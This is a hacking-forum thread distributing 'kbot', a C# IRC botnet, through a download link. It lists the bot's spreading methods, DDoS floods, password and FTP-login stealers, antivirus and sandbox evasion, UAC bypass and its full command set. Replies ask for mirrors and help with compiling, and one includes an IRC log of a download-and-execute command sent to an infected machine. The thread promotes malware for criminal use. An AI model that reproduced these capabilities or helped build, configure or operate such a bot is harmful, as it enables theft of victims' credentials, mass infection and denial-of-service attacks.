Thread: [\[C#\] kbot final source code](#)

t0fx - June 23, 2010, 5:52 pm

1 year after kbot v1, here's the last version of my bot, there won't be any new release. Feel free to mod it, just give credits.

Quote://

kbot private C# bot by t0fx
Credits to Darksel for FF stealer
//

//

How to config ?

//

Open myApp.csproj then go in Program.cs
Modify the source with your settings
Compile
Use smart assembly to protect your exe from disassembling

//

Features :

//

Nickname :

first execution : [NEW|6969]

after : [USA|Win7|t0fx-Computer|6969]

Channel :

Bot joins the channel you want and a second one depending on its country : ##FRA, ##USA...
so you can ddos or sell installs from only one country.

Bot joins ##seeders## if a compatible torrent client is detected on the computer.

Bot spreading :

auto rar / zip infection on first installation (only xp)

auto USB spread : with USB plug event listener and new FUD autorun.inf

auto LAN spread

MSN spread (hook)

P2P : you choose the filename you want to spread

uTorrent / BitTorrent / Azureus (Vuze) seeder

Bot DDOS :

SYN / HTTP / UDP

Stealer :

cdkeys : 148 cdkeys

filezilla stealer (to get some ftp accounts)

firefox stealer

Bot security :

auto start with windows and once installed imposible to delete the exe

Process run hidden (hook)

Hidden and undeletable folder

login to the bot with password

Optional auth host

Optional channel password

antis : threatexpert, windows defender, anubis, sandboxie and vmware

Other :

download / execute

works with xp / vista / seven / 2000

bypass UAC

100% undetected

//

Commands

//

!login pass

!seed url/yourtorrent.torrent

!visit URL (open url in browser)

!visilent URL (visit silently, invisible on the computer)

!dl URL/gay.exe (download execute file from url)

!update URL/gay.exe

!kill (uninstall the bot)

!die (kick the bots)

!keyz (get cdkeyz)

!fz (get filezilla user / pass)

!ff (get firefox stored passwords)

!p2p application.exe (add application.exe to common and detected P2P clients)

!msn message (send a message to online contacts)

!syn host port threads sockets

!stopsyn

!httpflood host intervals threads

!httpfloodstop

!udpfloodstart host intervals threads

!udpfloodstop

If you are leet or uber and can't use my download link, then send me a pm.

If I see someone posting another link I'll report and -rep.

Code <http://bit.ly> [WARNING: potentially infected]/aEYCOM

BruceTheMoose - June 23, 2010, 8:39 pm

Awwwww shame you had to post it :(

ASMAteMe - June 23, 2010, 9:42 pm

Hey t0fx, anyway you could PM me a link that is NOT sharecash? Id appreciate it!

xhtmlphp™ - June 24, 2010, 1:21 am

Nice, shame its a share cash link though, this will probably get moved to referrals :/

t0fx - June 24, 2010, 2:25 am

yes theres a share-cash link but theres' also a mirror..

I had to post it because there are a lot of backdoored version around here...

laptopguy - June 24, 2010, 2:39 am

Thank you very much t0fx - you are always doing things for this community mate.

Oxycodone - June 24, 2010, 2:54 am

Thanks t0fx im not expierenced coder in C# so this is a good source to learn from

killerdoob420 - June 24, 2010, 3:25 am

lucky i have a malwares-in account

Local Celeb - June 24, 2010, 4:33 am

Very nice source man :)

Im looking through it and, wow, just wow. :)

Elios - June 28, 2010, 6:49 am

Hi Mate,

for some reason I cannot download the source from the link you gave.

Could you please load it somewhere else and pm it to me.

Thanks a lot

Da Loser - June 29, 2010, 1:49 pm

Use this mirror in our site. <http://www.malwares-in.net/forum/showthread.php?tid=1296>

clydedoris - July 12, 2010, 12:30 am

okay, nice one, big help becoz i am really studying C# extreme programming..thanks!!

UT-ReBo - July 12, 2010, 4:19 pm

o couldnt get this bot to connect to my irc anyone got teamviewer and think they could help pm me

thanks

hklcf - July 12, 2010, 9:35 pm

Very nice, thanks for share. Let's me try!

Milopeach - September 17, 2010, 2:44 am

I'd download but i can't code in C#, But i know it would be awesome, Thanks for sharing it tofx.

FluR0 - September 17, 2010, 3:36 am

(Sep 17, 2010 02:44 AM)milopeach Wrote: [\[CITE\]](#) I'd download but i can't code in C#, But i know it would be awesome, Thanks for sharing it tofx.

YAY FOR BUMING AN OLD THREAD YAYAYYA LETS ALL DO IT

Girthanticlops - September 22, 2010, 4:38 am

awesome stuff, thanks man :)

unknown123456 - December 27, 2010, 11:37 am

heyho totfx what hooks are you using for keeping the bot save or undetected or w/e?

Xenon - December 27, 2010, 11:42 am

I still can't believe this is FUD on build. I added a botkiller function and am using it on my own IRC server.

simo9445 - January 2, 2011, 9:06 am

18:07 02-01-2011 Malwares-in.net is down..

Delusional - January 2, 2011, 9:10 am

looks nice, i will test it later (:

thanks for sharing (:

Ehkz - January 8, 2011, 12:35 pm

Thanks for the post.

Didn't have much luck compiling it in Visual C# 2005 (about 16 errors), gonna try it with Visual Studio 2010 next.

t0fx - January 8, 2011, 6:48 pm

(Jan 8, 2011 01:35 PM)Ehkz Wrote: [\[CITE\]](#) Thanks for the post.

copy / paste errors here I'll help you to fix it.

Ehkz - January 9, 2011, 6:15 am

Thank you t0fx.

To eliminate any confusion and to exclude possible causes such as a weirdass installation, i've got a fresh windows XP installed in a VMware, installed Visual C# 2005, dotnet 3.5, and then loaded your source.

Changed only the variables you designated in the instructions, and the following occurred:

[Imageshack sshot](#)

Alternatively, here is the copy paste as requested:Spoiler ([Click to View](#))

```
Code Error 1 A new expression requires () or [] after type C:\Documents and

Settings\Administrator\Desktop\kbot\fuck.cs 22 13 myApp

```

The errors are spread across the whole project, which led me to believe the language itself is missing some addon (dotnet 4?) or another version.

***Update: I've installed Visual Studio 2010 on a fresh XP VMware image. When opening the project, it offers to convert the reference of Dotnet 2 to Dotnet 4. Done so, and the bot compiles without a problem (hurray!). Connects as well and able to !login.

However, when giving the !dl <url> command, an error occurs and the bot closes down. [Here's a screenshot](#) of the JIT-debugger of said error, I hope it will contribute to any future versions of this bot, as I really like the functions it provides.

t0fx - January 9, 2011, 10:55 am

The problem comes from the temp path, maybe it's because of the vmware.

Ehkz - January 9, 2011, 1:30 pm

Hmmmm, that's possible.

By now, i have every Visual Studio ever made and would like to know which one you used to create it. I mean, if I recreate the same enviroment, it -should- operate normally :)

I'm fanatic about getting this one to work, mostly due to the torrent function (which, if used correctly, should be the best non-manual spreader-method of all)

t0fx - January 9, 2011, 8:41 pm

I'm fanatic about getting this one to work, mostly due to the torrent function (which, if used correctly, should be the best non-manual spreader-method of all)

It was developed with visual studio 2008 and .net framework 2.0

Ehkz - January 10, 2011, 5:52 am

Thank you t0fx.

I've installed VS2008+.net FW 2.0 and compiled it. No errors, a nice clean built. Then I ran it and it logged into the irc-server. After the login, the following happens:

```
Code [13:38] <Ehkz> !login password
[13:38] <[USA|XP|6344|USER-65A183C45C7]> Ready boss!
[13:38] <Ehkz> !dl http://removedtheurlfromthiscodeblock.com/winzip.exe
[13:42] [USA|XP|6344|USER-65A183C45C7] [~USAXP63@12510B3F.C2141C57.76D7F604.IP]
quits irc. (Ping timeout)
```

No errors on the slave machine (think the previous errors might've been due to compiling with VS2010). Tried multiple configurations, with various .net redist versions. It just....quits the moment I give it a download command :/

GrassyNinja - June 23, 2011, 2:57 pm

would be nice except that the zombie comp needs to have net framework installed to get infected -.-

g0dspeak - August 1, 2011, 9:20 pm

I can't get shitcash to work.. i'll send you a pm :0

netnet - November 2, 2011, 3:41 am

I cannot download the source from the link you gave.

Could you please load it somewhere else and pm it to me.

bobinski - December 28, 2012, 10:35 am

do you have with no cashlink? if yes please PM me

kobilica - December 30, 2012, 4:40 am

I want one link of this source too, thanks! :D The first link and malware-in doesn't work for me :/.

robincomp - December 30, 2012, 6:54 am

Post in the Referrals section since you're trying to make 30 cents of our downloads.

edit: taking that back, sorry should read better next time.
